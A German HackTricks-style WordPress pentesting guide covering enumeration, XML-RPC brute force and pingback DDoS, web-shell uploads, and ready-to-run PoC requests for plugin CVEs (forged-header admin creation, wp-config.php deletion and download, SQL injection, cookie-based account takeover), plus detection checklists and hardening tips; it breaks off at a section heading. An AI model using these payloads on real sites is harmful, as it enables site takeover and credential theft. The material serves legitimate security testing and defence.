Wordpress

Reading time: 33 minutes

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Grundlegende Informationen

  • Hochgeladene Dateien landen unter: http://10.10.10.10/wp-content/uploads/2018/08/a.txt

  • Theme-Dateien befinden sich in /wp-content/themes/, daher, wenn du etwas PHP des Themes änderst, um RCE zu bekommen, wirst du wahrscheinlich diesen Pfad verwenden. Zum Beispiel: Beim Verwenden des theme twentytwelve kannst du die 404.php Datei erreichen unter: /wp-content/themes/twentytwelve/404.php

  • Eine weitere nützliche URL könnte sein: /wp-content/themes/default/404.php

  • In wp-config.php kannst du das Root-Passwort der Datenbank finden.

  • Standard-Login-Pfade zum Überprüfen: /wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/

Haupt-WordPress-Dateien

  • index.php
  • license.txt enthält nützliche Informationen wie die installierte WordPress-Version.
  • wp-activate.php wird für den E-Mail-Aktivierungsprozess bei der Einrichtung einer neuen WordPress-Seite verwendet.
  • Login-Ordner (können umbenannt sein, um sie zu verstecken):
  • /wp-admin/login.php
  • /wp-admin/wp-login.php
  • /login.php
  • /wp-login.php
  • xmlrpc.php ist eine Datei, die eine Funktion von WordPress darstellt, die das Übertragen von Daten mit HTTP als Transportmechanismus und XML als Kodierungsmechanismus ermöglicht. Diese Art der Kommunikation wurde durch die WordPress REST API ersetzt.
  • Der Ordner wp-content ist das Hauptverzeichnis, in dem Plugins und Themes gespeichert werden.
  • wp-content/uploads/ ist das Verzeichnis, in dem alle auf die Plattform hochgeladenen Dateien gespeichert werden.
  • wp-includes/ Dies ist das Verzeichnis, in dem Core-Dateien gespeichert sind, wie Zertifikate, Schriftarten, JavaScript-Dateien und Widgets.
  • wp-sitemap.xml In WordPress-Versionen 5.5 und höher generiert WordPress eine sitemap XML-Datei mit allen öffentlichen Posts und öffentlich abfragbaren Post-Typen und Taxonomien.

Post exploitation

  • Die Datei wp-config.php enthält Informationen, die WordPress benötigt, um eine Verbindung zur Datenbank herzustellen, wie den Datenbanknamen, Datenbankhost, Benutzername und Passwort, Authentifizierungs-Keys und Salts sowie das Präfix der Datenbanktabellen. Diese Konfigurationsdatei kann auch verwendet werden, um den DEBUG-Modus zu aktivieren, was bei der Fehlersuche nützlich sein kann.

Benutzerberechtigungen

  • Administrator
  • Editor: Veröffentlicht und verwaltet seine und andere Beiträge
  • Author: Veröffentlicht und verwaltet seine eigenen Beiträge
  • Contributor: Schreibt und verwaltet seine Beiträge, kann sie aber nicht veröffentlichen
  • Subscriber: Durchsucht Beiträge und bearbeitet sein Profil

Passive Aufklärung

WordPress-Version herausfinden

Überprüfe, ob du die Dateien /license.txt oder /readme.html finden kannst

Innerhalb des source code der Seite (Beispiel von https://wordpress.org/support/article/pages/):

  • grep
bash
curl https://victim.com/ | grep 'content="WordPress'
  • meta name

  • CSS-Link-Dateien

  • JavaScript-Dateien

Plugins herunterladen

bash
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

Themes abrufen

bash
curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

Versionen allgemein extrahieren

bash
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

Active enumeration

Plugins and Themes

Du wirst wahrscheinlich nicht in der Lage sein, alle möglichen Plugins und Themes zu finden. Um alle zu entdecken, musst du aktiv per Brute Force eine Liste von Plugins und Themes erstellen (hoffentlich gibt es für uns automatisierte Tools, die diese Listen enthalten).

Benutzer

  • ID Brute: Du erhältst gültige Benutzer von einer WordPress-Seite durch Brute Forcing der Benutzer-IDs:
bash
curl -s -I -X GET http://blog.example.com/?author=1

Wenn die Antworten 200 oder 30X sind, bedeutet das, dass die id gültig ist. Wenn die Antwort 400 ist, dann ist die id ungültig.

  • wp-json: Du kannst auch versuchen, Informationen über die Benutzer zu erhalten, indem du abfragst:
bash
curl http://blog.example.com/wp-json/wp/v2/users

Ein weiterer /wp-json/ endpoint, der einige Informationen über Benutzer preisgeben kann, ist:

bash
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL

Beachte, dass dieser Endpoint nur Benutzer offenlegt, die einen Beitrag veröffentlicht haben. Es werden nur Informationen über Benutzer bereitgestellt, die diese Funktion aktiviert haben.

Beachte außerdem, dass /wp-json/wp/v2/pages IP-Adressen leak.

  • Login username enumeration: Beim Einloggen in /wp-login.php ist die Meldung anders, je nachdem, ob der Benutzername existiert oder nicht.

XML-RPC

Wenn xml-rpc.php aktiv ist, kannst du eine credentials brute-force durchführen oder es verwenden, um DoS-Angriffe auf andere Ressourcen zu starten. (You can automate this process using this for example).

Um zu prüfen, ob es aktiv ist, versuche, auf /xmlrpc.php zuzugreifen und diese Anfrage zu senden:

Überprüfen

html
<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>

Credentials Bruteforce

wp.getUserBlogs, wp.getCategories oder metaWeblog.getUsersBlogs sind einige der Methoden, die verwendet werden können, um Credentials zu brute-force. Wenn Sie eines davon finden, können Sie etwas wie Folgendes senden:

html
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>admin</value></param>
<param><value>pass</value></param>
</params>
</methodCall>

Die Meldung "Incorrect username or password" innerhalb einer HTTP-200-Antwort sollte erscheinen, wenn die Zugangsdaten nicht gültig sind.

Mit den korrekten Zugangsdaten können Sie eine Datei hochladen. In der Antwort wird der Pfad angezeigt (https://gist.github.com/georgestephanis/5681982)

html
<?xml version='1.0' encoding='utf-8'?>
<methodCall>
<methodName>wp.uploadFile</methodName>
<params>
<param><value><string>1</string></value></param>
<param><value><string>username</string></value></param>
<param><value><string>password</string></value></param>
<param>
<value>
<struct>
<member>
<name>name</name>
<value><string>filename.jpg</string></value>
</member>
<member>
<name>type</name>
<value><string>mime/type</string></value>
</member>
<member>
<name>bits</name>
<value><base64><![CDATA[---base64-encoded-data---]]></base64></value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>

Außerdem gibt es einen schnelleren Weg, um brute-force credentials mit system.multicall durchzuführen, da du mehrere credentials in derselben Anfrage ausprobieren kannst:

Bypass 2FA

Diese Methode ist für Programme gedacht und nicht für Menschen und ist alt; daher unterstützt sie 2FA nicht. Wenn du also gültige creds hast, aber der Haupteingang durch 2FA geschützt ist, kannst du xmlrpc.php missbrauchen, um dich mit diesen creds einzuloggen und 2FA zu umgehen. Beachte, dass du nicht alle Aktionen ausführen kannst, die über die Konsole möglich sind, aber du könntest trotzdem RCE erreichen, wie Ippsec in https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s erklärt.

DDoS oder port scanning

Wenn du die Methode pingback.ping in der Liste findest, kannst du Wordpress dazu bringen, eine beliebige Anfrage an einen beliebigen host/port zu senden.
Dies kann verwendet werden, um Tausende von Wordpress Websites anzuweisen, auf einen Ort zu zugreifen (wodurch an diesem Ort ein DDoS verursacht wird) oder du kannst es nutzen, um Wordpress ein internes Netzwerk scannen zu lassen (du kannst jeden Port angeben).

html
<methodCall>
<methodName>pingback.ping</methodName>
<params><param>
<value><string>http://<YOUR SERVER >:<port></string></value>
</param><param><value><string>http://<SOME VALID BLOG FROM THE SITE ></string>
</value></param></params>
</methodCall>

Wenn du faultCode mit einem Wert größer als 0 (17) erhältst, bedeutet das, dass der Port offen ist.

Sieh dir die Verwendung von system.multicall im vorherigen Abschnitt an, um zu lernen, wie man diese Methode missbraucht, um DDoS zu verursachen.

DDoS

html
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://target/</string></value></param>
<param><value><string>http://yoursite.com/and_some_valid_blog_post_url</string></value></param>
</params>
</methodCall>

wp-cron.php DoS

Diese Datei befindet sich normalerweise im Stammverzeichnis der Wordpress-Seite: /wp-cron.php
Wenn diese Datei aufgerufen wird, wird eine ressourcenintensive MySQL Abfrage ausgeführt, sodass sie von Angreifern dazu verwendet werden kann, einen DoS zu verursachen.
Außerdem wird standardmäßig die wp-cron.php bei jedem Seitenaufruf (immer wenn ein Client irgendeine Wordpress-Seite anfordert) ausgeführt, was auf stark frequentierten Seiten Probleme (DoS) verursachen kann.

Es wird empfohlen, Wp-Cron zu deaktivieren und stattdessen einen echten cronjob auf dem Host zu erstellen, der die benötigten Aktionen in regelmäßigen Abständen ausführt (ohne Probleme zu verursachen).

/wp-json/oembed/1.0/proxy - SSRF

Versuche, https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net aufzurufen, und die Worpress-Seite könnte eine Anfrage an dich senden.

This is the response when it doesn't work:

SSRF

https://github.com/t0gu/quickpress/blob/master/core/requests.go

Dieses Tool prüft, ob der methodName: pingback.ping vorhanden ist und ob der Pfad /wp-json/oembed/1.0/proxy existiert; falls ja, versucht es, diese auszunutzen.

Automatische Tools

bash
cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
#You can try to bruteforce the admin user using wpscan with "-U admin"

Zugriff durch Überschreiben eines Bits

Mehr als ein echter Angriff ist das eher eine Kuriosität. Im CTF https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man konnte man 1 Bit in jeder wordpress-Datei umschalten. Dadurch konnte man an Position 5389 der Datei /var/www/html/wp-includes/user.php die NOT-Operation (!) in ein NOP verwandeln.

php
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(

Panel RCE

Eine php-Datei des verwendeten Themes ändern (Admin-Zugangsdaten benötigt)

Appearance → Theme Editor → 404 Template (rechts)

Den Inhalt durch eine php-Shell ersetzen:

Suche im Internet, wie du auf die aktualisierte Seite zugreifen kannst. In diesem Fall musst du hier zugreifen: http://10.11.1.234/wp-content/themes/twentytwelve/404.php

MSF

Du kannst verwenden:

bash
use exploit/unix/webapp/wp_admin_shell_upload

um eine Session zu bekommen.

Plugin RCE

PHP plugin

Es kann möglich sein, .php-Dateien als Plugin hochzuladen.
Erstelle deine php-Backdoor zum Beispiel mit:

Füge dann ein neues Plugin hinzu:

Plugin hochladen und auf Install Now klicken:

Klicke auf Procced:

Wahrscheinlich wird scheinbar nichts passieren, aber wenn du zu Media gehst, siehst du deine hochgeladene shell:

Öffne sie und du wirst die URL sehen, um die reverse shell auszuführen:

Uploading and activating malicious plugin

Diese Methode beinhaltet die Installation eines bekannten verwundbaren und ausnutzbaren bösartigen Plugins, um eine web shell zu erhalten. Dieser Vorgang wird über das WordPress dashboard wie folgt durchgeführt:

  1. Plugin Acquisition: Das Plugin wird aus einer Quelle wie Exploit DB bezogen, z. B. here.
  2. Plugin Installation:
  • Navigiere zum WordPress dashboard, dann zu Dashboard > Plugins > Upload Plugin.
  • Lade die Zip-Datei des heruntergeladenen Plugins hoch.
  1. Plugin Activation: Sobald das Plugin erfolgreich installiert ist, muss es über das Dashboard aktiviert werden.
  2. Exploitation:
  • Mit installiertem und aktiviertem Plugin "reflex-gallery" kann dieses ausgenutzt werden, da es als verwundbar bekannt ist.
  • Das Metasploit framework bietet einen Exploit für diese Verwundbarkeit. Durch Laden des passenden Moduls und Ausführen spezifischer Befehle kann eine meterpreter-Session hergestellt werden, die unbefugten Zugriff auf die Seite ermöglicht.
  • Dies ist nur eine von vielen Methoden, um eine WordPress-Seite auszunutzen.

Der Inhalt enthält visuelle Hilfen, die die Schritte im WordPress dashboard zum Installieren und Aktivieren des Plugins zeigen. Es ist jedoch wichtig zu beachten, dass das Ausnutzen von Verwundbarkeiten auf diese Weise ohne ausdrückliche Genehmigung illegal und unethisch ist. Diese Informationen sollten verantwortungsvoll und nur in einem legalen Kontext verwendet werden, z. B. bei Penetrationstests mit ausdrücklicher Erlaubnis.

For more detailed steps check: https://www.hackingarticles.in/wordpress-reverse-shell/

From XSS to RCE

  • WPXStrike: WPXStrike ist ein Script, das dazu entwickelt wurde, eine Cross-Site Scripting (XSS)-Vulnerability zu Remote Code Execution (RCE) oder anderen kritischen Verwundbarkeiten in WordPress zu eskalieren. Für mehr Informationen siehe this post. Es bietet Support für Wordpress Versions 6.X.X, 5.X.X und 4.X.X und erlaubt:
  • Privilege Escalation: Erstellt einen User in WordPress.
  • (RCE) Custom Plugin (backdoor) Upload: Lädt dein custom Plugin (Backdoor) in WordPress hoch.
  • (RCE) Built-In Plugin Edit: Editiert eingebaute Plugins in WordPress.
  • (RCE) Built-In Theme Edit: Editiert eingebaute Themes in WordPress.
  • (Custom) Custom Exploits: Custom Exploits für Third-Party WordPress Plugins/Themes.

Post Exploitation

Benutzernamen und Passwörter extrahieren:

bash
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"

Admin-Passwort ändern:

bash
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"

Wordpress Plugins Pentest

Angriffsfläche

Zu wissen, wie ein Wordpress-Plugin Funktionalität nach außen legt, ist entscheidend, um Schwachstellen in dieser Funktionalität zu finden. Sie können sehen, wie ein Plugin Funktionalität exponieren kann, in den folgenden Aufzählungspunkten und einige Beispiele verwundbarer Plugins in this blog post.

  • wp_ajax

Eine Möglichkeit, wie ein Plugin Funktionen für Benutzer offenlegt, sind AJAX-Handler. Diese können Logik-, Autorisierungs- oder Authentifizierungsfehler enthalten. Außerdem ist es ziemlich häufig, dass diese Funktionen sowohl die Authentifizierung als auch die Autorisierung auf das Vorhandensein eines Wordpress-Nonce stützen, das jeder im Wordpress-System authentifizierte Benutzer haben könnte (unabhängig von seiner Rolle).

Dies sind die Funktionen, die verwendet werden können, um eine Funktion in einem Plugin offenzulegen:

php
add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));

Die Verwendung von nopriv macht den Endpoint für alle Benutzer zugänglich (auch für nicht authentifizierte).

caution

Außerdem, wenn die Funktion die Autorisierung des Benutzers nur mit der Funktion wp_verify_nonce prüft, stellt diese nur fest, dass der Benutzer eingeloggt ist; sie prüft normalerweise nicht die Rolle des Benutzers. Daher könnten Benutzer mit niedrigen Rechten Zugriff auf Aktionen mit hohen Rechten erhalten.

  • REST API

Es ist auch möglich, Funktionen von wordpress offenzulegen, indem man eine REST API mit der Funktion register_rest_route registriert:

php
register_rest_route(
$this->namespace, '/get/', array(
'methods' => WP_REST_Server::READABLE,
'callback' => array($this, 'getData'),
'permission_callback' => '__return_true'
)
);

Die permission_callback ist eine Callback-Funktion, die prüft, ob ein bestimmter Benutzer berechtigt ist, die API-Methode aufzurufen.

Wenn die eingebaute Funktion __return_true verwendet wird, überspringt sie einfach die Benutzerberechtigungsprüfung.

  • Direkter Zugriff auf die php-Datei

Natürlich verwendet Wordpress PHP und Dateien innerhalb von Plugins sind direkt über das Web zugänglich. Wenn also ein Plugin eine verwundbare Funktionalität bereitstellt, die allein durch den Zugriff auf die Datei ausgelöst wird, kann sie von jedem Benutzer ausgenutzt werden.

Trusted-header REST impersonation (WooCommerce Payments ≤ 5.6.1)

Einige Plugins implementieren „trusted header“-Shortcuts für interne Integrationen oder reverse proxies und verwenden dann diesen Header, um den aktuellen Benutzerkontext für REST-Anfragen zu setzen. Wenn der Header nicht kryptografisch an die Anfrage durch eine upstream component gebunden ist, kann ein Angreifer ihn fälschen und privilegierte REST-Routen als Administrator ansprechen.

  • Auswirkung: unauthenticated privilege escalation to admin durch die Erstellung eines neuen Administrators über die core users REST route.
  • Beispiel-Header: X-Wcpay-Platform-Checkout-User: 1 (erzwingt User-ID 1, typischerweise das erste Administrator-Konto).
  • Ausgenutzte Route: POST /wp-json/wp/v2/users mit einem elevated role array.

PoC

http
POST /wp-json/wp/v2/users HTTP/1.1
Host: <WP HOST>
User-Agent: Mozilla/5.0
Accept: application/json
Content-Type: application/json
X-Wcpay-Platform-Checkout-User: 1
Content-Length: 114

{"username": "honeypot", "email": "wafdemo@patch.stack", "password": "demo", "roles": ["administrator"]}

Warum es funktioniert

  • Das Plugin mappt einen vom Client kontrollierten Header auf den Authentifizierungsstatus und überspringt Berechtigungsprüfungen.
  • Der WordPress-Core erwartet die create_users-Capability für diese Route; der Plugin-Hack umgeht dies, indem er den aktuellen Benutzerkontext direkt aus dem Header setzt.

Erwartete Erfolgshinweise

  • HTTP 201 mit einem JSON-Body, der den erstellten Benutzer beschreibt.
  • Ein neuer Admin-Benutzer sichtbar in wp-admin/users.php.

Erkennungs-Checkliste

  • Grep nach getallheaders(), $_SERVER['HTTP_...'], oder vendor SDKs, die benutzerdefinierte Header lesen, um den Benutzerkontext zu setzen (z. B. wp_set_current_user(), wp_set_auth_cookie()).
  • Überprüfe REST-Registrierungen auf privilegierte Callbacks, die keine robusten permission_callback-Prüfungen haben und stattdessen auf Request-Header vertrauen.
  • Suche nach Verwendungen von Core-User-Management-Funktionen (wp_insert_user, wp_create_user) in REST-Handlern, die nur durch Header-Werte geschützt sind.

Nicht authentifizierte beliebige Dateilöschung über wp_ajax_nopriv (Litho Theme <= 3.0)

WordPress-Themes und -Plugins machen häufig AJAX-Handler über die Hooks wp_ajax_ und wp_ajax_nopriv_ verfügbar. Wenn die nopriv-Variante verwendet wird ist der Callback für nicht authentifizierte Besucher erreichbar, daher muss jede sensible Aktion zusätzlich implementieren:

  1. Eine Capability-Prüfung (z. B. current_user_can() oder zumindest is_user_logged_in()), und
  2. Eine CSRF-Nonce validiert mit check_ajax_referer() / wp_verify_nonce(), und
  3. Strikte Eingabesanitisierung / -validierung.

Das Litho-Multipurpose-Theme (< 3.1) hat diese 3 Kontrollen in der Remove Font Family Funktion vergessen und lieferte schließlich den folgenden Code (vereinfacht):

php
function litho_remove_font_family_action_data() {
if ( empty( $_POST['fontfamily'] ) ) {
return;
}
$fontfamily = str_replace( ' ', '-', $_POST['fontfamily'] );
$upload_dir = wp_upload_dir();
$srcdir  = untrailingslashit( wp_normalize_path( $upload_dir['basedir'] ) ) . '/litho-fonts/' . $fontfamily;
$filesystem = Litho_filesystem::init_filesystem();

if ( file_exists( $srcdir ) ) {
$filesystem->delete( $srcdir, FS_CHMOD_DIR );
}
die();
}
add_action( 'wp_ajax_litho_remove_font_family_action_data',        'litho_remove_font_family_action_data' );
add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );

Issues introduced by this snippet:

  • Nicht authentifizierter Zugriff – the wp_ajax_nopriv_ hook is registered.
  • No nonce / capability check – jeder Besucher kann den Endpunkt aufrufen.
  • No path sanitisation – der vom Benutzer kontrollierte fontfamily-String wird ohne Filter an einen Dateisystempfad angehängt, was klassisches ../../ Traversal ermöglicht.

Exploitation

Ein Angreifer kann jede Datei oder jedes Verzeichnis unterhalb des uploads-Stammverzeichnisses (normally <wp-root>/wp-content/uploads/) indem er eine einzelne HTTP POST-Anfrage sendet:

bash
curl -X POST https://victim.com/wp-admin/admin-ajax.php \
-d 'action=litho_remove_font_family_action_data' \
-d 'fontfamily=../../../../wp-config.php'

Weil wp-config.php außerhalb von uploads liegt, reichen auf einer Standardinstallation vier ../-Sequenzen. Das Löschen von wp-config.php zwingt WordPress beim nächsten Besuch in den Installation Wizard, wodurch eine vollständige Übernahme der Seite möglich wird (der Angreifer liefert lediglich eine neue DB-Konfiguration und erstellt einen Admin-Benutzer).

Andere wirkungsvolle Ziele umfassen plugin/theme .php files (um Sicherheits-Plugins zu umgehen) oder .htaccess-Regeln.

Erkennungs-Checkliste

  • Jede add_action( 'wp_ajax_nopriv_...') Callback-Funktion, die Dateisystem-Helfer (copy(), unlink(), $wp_filesystem->delete(), etc.) aufruft.
  • Konkatenation unsanitierter Benutzereingaben in Pfaden (nach $_POST, $_GET, $_REQUEST suchen).
  • Fehlendes check_ajax_referer() und current_user_can()/is_user_logged_in().

Privilege escalation via stale role restoration and missing authorization (ASE "View Admin as Role")

Viele Plugins implementieren eine "view as role" oder temporäre Rollenwechsel-Funktion, indem sie die ursprünglichen Rolle(n) in user meta speichern, damit sie später wiederhergestellt werden können. Wenn der Wiederherstellungspfad ausschließlich auf Request-Parametern (z.B. $_REQUEST['reset-for']) und einer vom Plugin verwalteten Liste beruht, ohne Capabilities und ein gültiges Nonce zu prüfen, führt das zu einer vertical privilege escalation.

Ein reales Beispiel wurde im Admin and Site Enhancements (ASE) Plugin (≤ 7.6.2.1) gefunden. Der Reset-Zweig stellte Rollen basierend auf reset-for=<username> wieder her, wenn der Benutzername in einem internen Array $options['viewing_admin_as_role_are'] erschien, führte jedoch weder einen current_user_can()-Check noch eine Nonce-Verifizierung durch, bevor die aktuellen Rollen entfernt und die in user meta _asenha_view_admin_as_original_roles gespeicherten Rollen erneut hinzugefügt wurden:

php
// Simplified vulnerable pattern
if ( isset( $_REQUEST['reset-for'] ) ) {
$reset_for_username = sanitize_text_field( $_REQUEST['reset-for'] );
$usernames = get_option( ASENHA_SLUG_U, [] )['viewing_admin_as_role_are'] ?? [];

if ( in_array( $reset_for_username, $usernames, true ) ) {
$u = get_user_by( 'login', $reset_for_username );
foreach ( $u->roles as $role ) { $u->remove_role( $role ); }
$orig = (array) get_user_meta( $u->ID, '_asenha_view_admin_as_original_roles', true );
foreach ( $orig as $r ) { $u->add_role( $r ); }
}
}

Warum es ausnutzbar ist

  • Vertraut $_REQUEST['reset-for'] und einer Plugin-Option ohne serverseitige Autorisierung.
  • Wenn ein Benutzer zuvor höhere Privilegien in _asenha_view_admin_as_original_roles gespeichert hatte und herabgestuft wurde, kann er diese wiederherstellen, indem er den Reset-Pfad aufruft.
  • In manchen Deployments konnte jeder authentifizierte Benutzer einen Reset für einen anderen Benutzernamen auslösen, der noch in viewing_admin_as_role_are vorhanden ist (fehlerhafte Autorisierung).

Exploitation (example)

bash
# While logged in as the downgraded user (or any auth user able to trigger the code path),
# hit any route that executes the role-switcher logic and include the reset parameter.
# The plugin uses $_REQUEST, so GET or POST works. The exact route depends on the plugin hooks.
curl -s -k -b 'wordpress_logged_in=...' \
'https://victim.example/wp-admin/?reset-for=<your_username>'

Auf verwundbaren Builds entfernt dies die aktuellen Rollen und fügt die gespeicherten ursprünglichen Rollen (z. B. administrator) wieder hinzu, wodurch effektiv Privilegien eskaliert werden.

Detection checklist

  • Achte auf role-switching-Features, die “original roles” in user meta persistieren (z. B. _asenha_view_admin_as_original_roles).
  • Identifiziere Reset-/Restore-Pfade, die:
  • Lese Benutzernamen aus $_REQUEST / $_GET / $_POST.
  • Ändere Rollen via add_role() / remove_role() ohne current_user_can() und wp_verify_nonce() / check_admin_referer().
  • Authorisiere basierend auf einem Plugin-Options-Array (z. B. viewing_admin_as_role_are) statt auf den Fähigkeiten des Akteurs.

Nicht authentifizierte Privilegieneskalation durch cookie‑vertrauenswürdiges User-Switching am öffentlichen init (Service Finder “sf-booking”)

Einige Plugins hängen user-switching-Hilfsfunktionen an den öffentlichen init-Hook und leiten die Identität aus einem vom Client kontrollierten Cookie ab. Ruft der Code wp_set_auth_cookie() auf, ohne Authentifizierung, capability und ein gültiges nonce zu prüfen, kann jeder nicht authentifizierte Besucher eine Anmeldung als beliebige Benutzer-ID erzwingen.

Typisches verwundbares Muster (vereinfacht aus Service Finder Bookings ≤ 6.1):

php
function service_finder_submit_user_form(){
if ( isset($_GET['switch_user']) && is_numeric($_GET['switch_user']) ) {
$user_id = intval( sanitize_text_field($_GET['switch_user']) );
service_finder_switch_user($user_id);
}
if ( isset($_GET['switch_back']) ) {
service_finder_switch_back();
}
}
add_action('init', 'service_finder_submit_user_form');

function service_finder_switch_back() {
if ( isset($_COOKIE['original_user_id']) ) {
$uid = intval($_COOKIE['original_user_id']);
if ( get_userdata($uid) ) {
wp_set_current_user($uid);
wp_set_auth_cookie($uid);  // 🔥 sets auth for attacker-chosen UID
do_action('wp_login', get_userdata($uid)->user_login, get_userdata($uid));
setcookie('original_user_id', '', time() - 3600, '/');
wp_redirect( admin_url('admin.php?page=candidates') );
exit;
}
wp_die('Original user not found.');
}
wp_die('No original user found to switch back to.');
}

Warum es ausnutzbar ist

  • Öffentlicher init Hook macht den Handler für nicht authentifizierte Benutzer erreichbar (kein is_user_logged_in()-Schutz).
  • Die Identität wird aus einem vom Client veränderbaren Cookie (original_user_id) abgeleitet.
  • Ein direkter Aufruf von wp_set_auth_cookie($uid) meldet den Anfragenden als diesen Benutzer an, ohne Capability-/Nonce-Prüfungen.

Ausnutzung (nicht authentifiziert)

http
GET /?switch_back=1 HTTP/1.1
Host: victim.example
Cookie: original_user_id=1
User-Agent: PoC
Connection: close

WAF-Überlegungen für WordPress-/Plugin-CVEs

Generische Edge-/Server-WAFs sind auf breite Muster (SQLi, XSS, LFI) ausgelegt. Viele hochkritische WordPress-/Plugin-Schwachstellen sind anwendungsspezifische Logik-/auth-Bugs, die wie harmloser Traffic aussehen, sofern die Engine nicht WordPress-Routen und Plugin-Semantik versteht.

Offensive Hinweise

  • Ziele plugin-spezifische Endpunkte mit sauberen payloads: admin-ajax.php?action=..., wp-json/<namespace>/<route>, custom file handlers, shortcodes.
  • Teste zuerst unauth-Pfade (AJAX nopriv, REST mit permissivem permission_callback, öffentliche shortcodes). Default payloads gelingen oft ohne obfuscation.
  • Typische hochkritische Fälle: privilege escalation (broken access control), arbitrary file upload/download, LFI, open redirect.

Defensive Hinweise

  • Verlass dich nicht auf generische WAF-Signaturen zum Schutz von Plugin-CVEs. Implementiere auf Anwendungsebene abgestimmte, schwachstellenspezifische virtuelle Patches oder aktualisiere schnell.
  • Bevorzuge positive-security-Prüfungen im Code (capabilities, nonces, strikte Input-Validierung) statt negativer regex-Filter.

WordPress-Schutz

Regelmäßige Updates

Stelle sicher, dass WordPress, Plugins und Themes auf dem neuesten Stand sind. Bestätige außerdem, dass automatisches Aktualisieren in wp-config.php aktiviert ist:

bash
define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' );
add_filter( 'auto_update_theme', '__return_true' );

Also, installiere außerdem nur vertrauenswürdige WordPress-Plugins und Themes.

Sicherheits-Plugins

Weitere Empfehlungen

  • Entferne den Standardbenutzer admin
  • Verwende starke Passwörter und 2FA
  • Überprüfe regelmäßig die Berechtigungen der Benutzer
  • Begrenze Login-Versuche, um Brute Force attacks zu verhindern
  • Benenne die Datei wp-admin.php um und erlaube den Zugriff nur intern oder von bestimmten IP-Adressen.

Unauthenticated SQL Injection via insufficient validation (WP Job Portal <= 2.3.2)

Das WP Job Portal recruitment plugin stellte eine savecategory-Aufgabe zur Verfügung, die letztendlich den folgenden verwundbaren Code in modules/category/model.php::validateFormData() ausführt:

php
$category  = WPJOBPORTALrequest::getVar('parentid');
$inquery   = ' ';
if ($category) {
$inquery .= " WHERE parentid = $category ";   // <-- direct concat ✗
}
$query  = "SELECT max(ordering)+1 AS maxordering FROM "
. wpjobportal::$_db->prefix . "wj_portal_categories " . $inquery; // executed later

Probleme, die durch diesen Ausschnitt entstehen:

  1. Unsanitised user inputparentid kommt direkt aus der HTTP-Anfrage.
  2. String concatenation inside the WHERE clause – keine is_numeric() / esc_sql() / prepared statement.
  3. Unauthenticated reachability – obwohl die Aktion über admin-post.php ausgeführt wird, ist die einzige vorhandene Kontrolle ein CSRF nonce (wp_verify_nonce()), den jeder Besucher von einer öffentlichen Seite mit dem Shortcode [wpjobportal_my_resumes] abrufen kann.

Exploitation

  1. Grab a fresh nonce:
bash
curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4
  1. Inject arbitrary SQL by abusing parentid:
bash
curl -X POST https://victim.com/wp-admin/admin-post.php \
-d 'task=savecategory' \
-d '_wpnonce=<nonce>' \
-d 'parentid=0 OR 1=1-- -' \
-d 'cat_title=pwn' -d 'id='

Die Antwort gibt das Ergebnis der injizierten Abfrage preis oder verändert die Datenbank, was SQLi beweist.

Unauthenticated Arbitrary File Download / Path Traversal (WP Job Portal <= 2.3.2)

Eine weitere Aufgabe, downloadcustomfile, erlaubte Besuchern, jede Datei auf der Festplatte via path traversal herunterzuladen. Die verwundbare Stelle befindet sich in modules/customfield/model.php::downloadCustomUploadedFile():

php
$file = $path . '/' . $file_name;
...
echo $wp_filesystem->get_contents($file); // raw file output

$file_name wird vom Angreifer kontrolliert und ohne Sanitierung verkettet. Wieder ist die einzige Hürde ein CSRF nonce, das von der resume page abgerufen werden kann.

Ausnutzung

bash
curl -G https://victim.com/wp-admin/admin-post.php \
--data-urlencode 'task=downloadcustomfile' \
--data-urlencode '_wpnonce=<nonce>' \
--data-urlencode 'upload_for=resume' \
--data-urlencode 'entity_id=1' \
--data-urlencode 'file_name=../../../wp-config.php'

Der Server antwortet mit dem Inhalt von wp-config.php, leaking DB credentials and auth keys.

Nicht authentifizierte Kontoübernahme via Social Login AJAX-Fallback (Jobmonster Theme <= 4.7.9)

